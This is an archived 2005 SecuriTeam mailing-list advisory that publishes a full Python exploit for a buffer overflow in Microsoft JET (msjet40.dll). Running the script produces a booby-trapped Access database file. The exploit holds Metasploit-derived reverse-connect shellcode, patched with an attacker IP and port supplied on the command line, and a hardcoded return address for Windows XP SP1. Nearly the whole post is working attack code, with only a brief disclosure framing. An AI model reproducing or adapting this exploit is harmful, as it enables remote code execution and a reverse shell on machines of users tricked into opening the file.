[EXPL] Microsoft JET Reverse Shell Buffer Overflow Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 04/13/05
- Previous message: SecuriTeam: "[NT] Vulnerabilities in Microsoft Word May Lead to Remote Code Execution (MS05-023)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Apr 2005 12:06:05 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Microsoft JET Reverse Shell Buffer Overflow Exploit
------------------------------------------------------------------------
SUMMARY
Microsoft JET database is "a lightweight database widely used by MS Office
applications. msjet40.dll is the main component of the Microsoft JET
database engine which evaluates and carries out requests for data. The
library handles reading and writing of the data for Microsoft Access
databases". Due to poor handling of user provided data a remote attacker
that is able to trick a user into opening a Microsoft JET file can cause
the user to execute arbitrary code through a buffer overflow. The
following exploit code can be used to test your system for the mentioned
vulnerability.
DETAILS
Vulnerable Systems:
* Microsoft JET version 4.00.8618.0
Immune Systems:
* Microsoft JetDB OLE Provider
Exploit:
###################
# See-security Technologies ltd.
# http://www.see-security.com
#
# Microsoft Jet (msjet40.dll) Reverse Shell Exploit
# coded by Tal zeltzer
# Based on the exploit written by S.Pearson
###################
import sys
import struct
# Addresses are compatible with Windows XP Service Pack 1
ReturnAddress = 0x77F51B93 # Address of "jmp edx" in ntdll.dll
# Reverse Connect Shellcode (From metasploit)
Shellcode_p1 =
"\x31\xc9\x83\xe9\xb7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
Shellcode_p1 +=
"\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
Shellcode_p1 +=
"\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
Shellcode_p1 +=
"\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
Shellcode_p1 +=
"\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
Shellcode_p1 +=
"\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
Shellcode_p1 +=
"\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
Shellcode_p1 +=
"\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
Shellcode_p1 +=
"\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
Shellcode_p1 +=
"\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
Shellcode_p1 +=
"\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
Shellcode_p1 += "\x41\x76\xf9\xe6\xc4\x66\xf9\xf6\xc4\xda\x7a\xdd"
Shellcode_p2 = "\xf1\x76\x23\x54\x02\x4d\x46\x4c\x3d\x45\xfd\x4a"
Shellcode_p2 +=
"\x41\x4f\xba\xe4\xc2\xda\x7a\xd3\xfd\x41\xcc\xdd\xf4\x48\xc0\xe5"
Shellcode_p2 +=
"\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46\x3d\xb0\x23\x48"
Shellcode_p2 +=
"\x69\x67\x87\x4b\xd5\x09\x27\xcf\xaf\x8e\x01\x1e\xff\x57\x54\x06"
Shellcode_p2 +=
"\x81\xda\xdf\x9d\x68\xf3\xf1\xe2\xc5\x74\xfb\xe4\xfd\x24\xfb\xe4"
Shellcode_p2 +=
"\xc2\x74\x55\x65\xff\x88\x73\xb0\x59\x76\x55\x63\xfd\xda\x55\x82"
Shellcode_p2 +=
"\x68\xf5\xc2\x52\xee\xe3\xd3\x4a\xe2\x21\x55\x63\x68\x52\x56\x4a"
Shellcode_p2 += "\x47\x4d\x5a\x3f\x93\x7a\xf9\x4a\x41\xda\x7a\xb5"
# Header
mdbHeader =
"\x00\x01\x00\x00\x53\x74\x61\x6E\x64\x61\x72\x64\x20\x4A\x65\x74"
mdbHeader +=
"\x20\x44\x42\x00\x01\x00\x00\x00\xB5\x6E\x03\x62\x60\x09\xC2\x55"
mdbHeader +=
"\xE9\xA9\x67\x72\x40\x3F\x00\x9C\x7E\x9F\x90\xFF\x85\x9A\x31\xC5"
mdbHeader +=
"\x79\xBA\xED\x30\xBC\xDF\xCC\x9D\x63\xD9\xE4\xC3\x9F\x46\xFB\x8A"
mdbHeader +=
"\xBC\x4E\xB2\x6D\xEC\x37\x69\xD2\x9C\xFA\xF2\xC8\x28\xE6\x27\x20"
mdbHeader +=
"\x8A\x60\x60\x02\x7B\x36\xC1\xE4\xDF\xB1\x43\x62\x13\x43\xFB\x39"
mdbHeader +=
"\xB1\x33\x00\xF7\x79\x5B\xA6\x23\x7C\x2A\xAF\xD0\x7C\x99\x08\x1F"
mdbHeader +=
"\x98\xFD\x1B\xC9\x5A\x6A\xE2\xF8\x82\x66\x5F\x95\xF8\xD0\x89\x24"
mdbHeader +=
"\x85\x67\xC6\x1F\x27\x44\xD2\xEE\xCF\x65\xED\xFF\x07\xC7\x46\xA1"
mdbHeader +=
"\x78\x16\x0C\xED\xE9\x2D\x62\xD4\x54\x06\x00\x00\x34\x2E\x30\x00"
# Body
mdbBody =
"\x00\x00\x80\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody +=
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody +=
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody +=
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody +=
"\x02\x01\xDE\x0B\x00\x00\x00\x00\x90\x90\x90\x90\x59\x06\x00\x00"
mdbBody +=
"\x11\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mdbBody +=
"\x00\x00\x00\x00\x00\x00\x00\x00\x53\x11\x00\x0B\x00\x11\x00\x02"
mdbBody +=
"\x00\x00\x00\x02\x00\x00\x00\x00\x06\x00\x00\x01\x06\x00\x00\x00"
mdbBody +=
"\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11"
mdbBody +=
"\x00\x00\x00\x00\x00\x00\x00\x0C\x59\x06\x00\x00\x09\x00\x03\x00"
mdbBody +=
"\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody +=
"\x0C\x59\x06\x00\x00\x08\x00\x02\x00\x00\x00\x09\x04\x00\x00\x12"
mdbBody +=
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x59\x06\x00\x00\x04\x00"
mdbBody +=
"\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x0a\x00"
mdbBody +=
"\x08\x00\x08\x59\x06\x00\x00\x05\x00\x01\x00\x00\x00\x09\x04\x00"
mdbBody +=
"\x00\x13\x00\x00\x00\x00\x00\x12\x00\x08\x00\x04\x59\x06\x00\x00"
mdbBody +=
"\x07\x00\x02\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
mdbBody +=
"\x1A\x00\x04\x00\x0A\x59\x06\x00\x00\x0A\x00\x04\x00\x00\x00\x09"
mdbBody +=
"\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06"
mdbBody +=
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
mdbBody +=
"\x00\x00\x00\x00\x04\x00\x0B\x59\x06\x00\x00\x0D\x00\x07\x00\x00"
mdbBody +=
"\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B"
mdbBody +=
"\x59\x06\x00\x00\x10\x00\x0A\x00\x00\x00\x09\x04\x00\x00\x12\x00"
mdbBody +=
"\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x59\x06\x00\x00\x0F\x00\x09"
mdbBody +=
"\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody +=
"\x00\x0B\x59\x06\x00\x00\x0E\x00\x08\x00\x00\x00\x09\x04\x00\x00"
mdbBody +=
"\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x59\x06\x00\x00\x02"
mdbBody +=
"\x00\x00\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00"
mdbBody +=
"\x00\xFE\x01\x09\x59\x06\x00\x00\x06\x00\x01\x00\x00\x00\x09\x04"
mdbBody +=
"\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06\x00"
mdbBody +=
"\x00\x01\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00"
mdbBody +=
"\x00\x04\x00\x04\x00\x0B\x59\x06\x00\x00\x0C\x00\x06\x00\x00\x00"
mdbBody +=
"\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x59"
mdbBody +=
"\x06\x00\x00\x0B\x00\x05\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00"
mdbBody +=
"\x00\x00\x00\x00\x00\xFE\x01\x03\x59\x06\x00\x00\x03\x00\x01\x00"
mdbBody +=
"\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x08\x00\x02\x00"
mdbBody +=
"\x0E\x00\x43\x00\x6F\x00\x6E\x00\x6E\x00\x65\x00\x63\x00\x74\x00"
mdbBody +=
"\x10\x00\x44\x00\x61\x00\x74\x00\x61\x00\x62\x00\x61\x00\x73\x00"
mdbBody +=
"\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00\x65\x00\x43\x00\x72\x00"
mdbBody +=
"\x65\x00\x61\x00\x74\x00\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00"
mdbBody +=
"\x65\x00\x55\x00\x70\x00\x64\x00\x61\x00\x74\x00\x65\x00\x0A\x00"
mdbBody +=
"\x46\x00\x6C\x00\x61\x00\x67\x00\x73\x00\x16\x00\x46\x00\x6F\x00"
mdbBody +=
"\x72\x00\x65\x00\x69\x00\x67\x00\x6E\x00\x4E\x00\x61\x00\x6D\x00"
mdbBody +=
"\x65\x00\x04\x00\x49\x00\x64\x00\x04\x00\x4C\x00\x76\x00\x0E\x00"
mdbBody +=
"\x4C\x00\x76\x00\x45\x00\x78\x00\x74\x00\x72\x00\x61\x00\x10\x00"
mdbBody +=
"\x4C\x00\x76\x00\x4D\x00\x6F\x00\x64\x00\x75\x00\x6C\x00\x65\x00"
mdbBody +=
"\x0C\x00\x4C\x00\x76\x00\x50\x00\x72\x00\x6F\x00\x70\x00\x08\x00"
mdbBody +=
"\x4E\x00\x61\x00\x6D\x00\x65\x00\x0A\x00\x4F\x00\x77\x00\x6E\x00"
mdbBody +=
"\x65\x00\x72\x00\x10\x00\x50\x00\x61\x00\x72\x00\x65\x00\x6E\x00"
mdbBody +=
"\x74\x00\x49\x00\x64\x00\x16\x00\x52\x00\x6D\x00\x74\x00\x49\x00"
mdbBody +=
"\x6E\x00\x66\x00\x6F\x00\x4C\x00\x6F\x00\x6E\x00\x67\x00\x18\x00"
mdbBody +=
"\x52\x00\x6D\x00\x74\x00\x49\x00\x6E\x00\x66\x00\x6F\x00\x53\x00"
mdbBody +=
"\x68\x00\x6F\x00\x72\x00\x74\x00\x08\x00\x54\x00\x79\x00\x70\x00"
mdbBody +=
"\x65\x00\x83\x07\x00\x00\x01\x00\x01\x02\x00\x01\xFF\xFF\x00\xFF"
mdbBody +=
"\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF"
mdbBody +=
"\x00\xFF\xFF\x00\x10\x06\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
mdbBody +=
"\x81\x00\x00\x00\x00\x00\x83\x07\x00\x00\x00\x00\x01\xFF\xFF\x00"
mdbBody +=
"\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF"
mdbBody +=
"\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\x11\x06\x00\x00\x08\x00\x00\x00"
mdbBody +=
"\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x59\x06\x00\x00\x01\x00"
mdbBody +=
"\x00\x00\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04"
mdbBody +=
"\x04\x01\x00\x00\x00\x00\x59\x06\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody +=
"\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04\x04\x00\x00\x00"
mdbBody += "\x00\x00"
# Body2
mdbBody2 =
"\x02\x01\xA9\x0E\x00\x00\x00\x00\x4F\x01\x00\x00\x59\x06\x00\x00"
mdbBody2 +=
"\x34\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mdbBody2 +=
"\x00\x00\x00\x00\x00\x00\x00\x00\x53\x04\x00\x01\x00\x04\x00\x01"
mdbBody2 +=
"\x00\x00\x00\x01\x00\x00\x00\x12\x06\x00\x00\x13\x06\x00\x00\x00"
mdbBody2 +=
"\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x04\x59\x06\x00\x00"
mdbBody2 +=
"\x02\x00\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
mdbBody2 +=
"\x04\x00\x04\x00\x01\x59\x06\x00\x00\x03\x00\x01\x00\x00\x00\x09"
mdbBody2 +=
"\x04\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x59\x06"
mdbBody2 +=
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
mdbBody2 +=
"\x00\x00\x00\x00\x04\x00\x09\x59\x06\x00\x00\x01\x00\x00\x00\x00"
mdbBody2 +=
"\x00\x09\x04\x00\x00\x32\x00\x00\x00\x00\x00\x07\x00\xFE\x01\x06"
mdbBody2 +=
"\x00\x41\x00\x43\x00\x4D\x00\x18\x00\x46\x00\x49\x00\x6E\x00\x68"
mdbBody2 +=
"\x00\x65\x00\x72\x00\x69\x00\x74\x00\x61\x00\x62\x00\x6C\x00\x65"
mdbBody2 +=
"\x00\x10\x00\x4F\x00\x62\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49"
mdbBody2 +=
"\x00\x64\x00\x06\x00\x53\x00\x49\x00\x44\x00\x83\x07\x00\x00\x00"
mdbBody2 +=
"\x00\x01\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x09\xFF\xFF\x00\xFF\xFF"
mdbBody2 +=
"\x00\xFF\xFF\x00\xFF\xFF\x04\xFF\xFF\x12\xFF\xFF\x00\x14\x06\x00"
mdbBody2 +=
"\x00\x09\x00\x00\x00\x41\x00\x74\x00\x88\x00\x00\x00\x00\x00\x59"
mdbBody2 +=
"\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"
mdbBody2 +=
"\x00\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x10\x00\x4F\x00\x62"
mdbBody2 +=
"\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49\x00\x64\x00\xFF\xFF\x00";
ShellJump = "\x14\x00" # Expanded ID Parameter (20 bytes) to accommodate
this code
ShellJump += "\x83\xC6\x08" # Add ESI,8 (Pointer to our shellcode)
ShellJump += "\xFF\xE6" # Call ESI (Execute Shellcode)
ShellJump += "\x90\x90\x90\x90"
ShellJump += "\x90\x90\x90\x90" # Not used
ShellJump += "\x90\x90\x90";
VulnerableParameter = "\x18\x00\x50\x00"
VulnerableParameter += "\x61\x00\x72\x00"
VulnerableParameter += "\x65\x00\x6E\x00"
VulnerableParameter += "\x74\x00\x49\x00"
VulnerableParameter += "\x64\x00\x4E\x00"
VulnerableParameter += "\x61\x00\x6D\x00"
VulnerableParameter += "\x65\x00\x00\x01" # 0100 will result in EDX
pointing to a variable containing our MSAccess offset
VulnerableParameter += "\x04\x06\x00\x00"
VulnerableParameter += "\x05\x90"
if (len(sys.argv) != 4):
print "\nUsage: " + sys.argv[0] + " <Attacker IP> <Attacker Port>
<Output File>\n"
print "#################################"
print "# #"
print "# See-security Technologies ltd. #"
print "# #"
print "# http://www.see-security.com #"
print "# #"
print "#################################"
print "# #"
print "# Microsoft Jet (msjet40.dll) Reverse Shell Exploit #"
print "# #"
print "# #"
print "# coded by Tal zeltzer #"
print "# #"
print "# Based on the exploit written by S.Pearson #"
print "# #"
print "#################################"
sys.exit(0)
i=0
xorTable = [0xB5,0xAA,0x25,0x97]
Shellcode = Shellcode_p1
ipAddress = sys.argv[1].split(".",4);
port = struct.pack("h",int(sys.argv[2]));
while(i<4):
Shellcode += chr(int(ipAddress[i]) ^ xorTable[3-i])
i+=1;
Shellcode += "\xf1\x4d"
Shellcode += chr(struct.unpack("B",port[1])[0] ^ 0xAA)
Shellcode += chr(struct.unpack("B",port[0])[0] ^ 0xB5)
Shellcode += Shellcode_p2
mdb = mdbHeader
mdb += "\x41" * 7968
mdb += mdbBody
mdb += ShellJump
mdb += struct.pack("<L",ReturnAddress)
mdb += VulnerableParameter
mdb += Shellcode + "\x90" * (3094 - len(Shellcode))
mdb += mdbBody2
mdb += "\x00" * (94208 -len(mdb))
fileOut = open(sys.argv[3],"wb")
fileOut.write(mdb)
fileOut.close()
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:tal@see-security.com> Tal
Zeltzer.
You can find more information about the advisory at:
<http://www.securiteam.com/windowsntfocus/5SP0D0KFFS.html>
http://www.securiteam.com/windowsntfocus/5SP0D0KFFS.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Vulnerabilities in Microsoft Word May Lead to Remote Code Execution (MS05-023)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]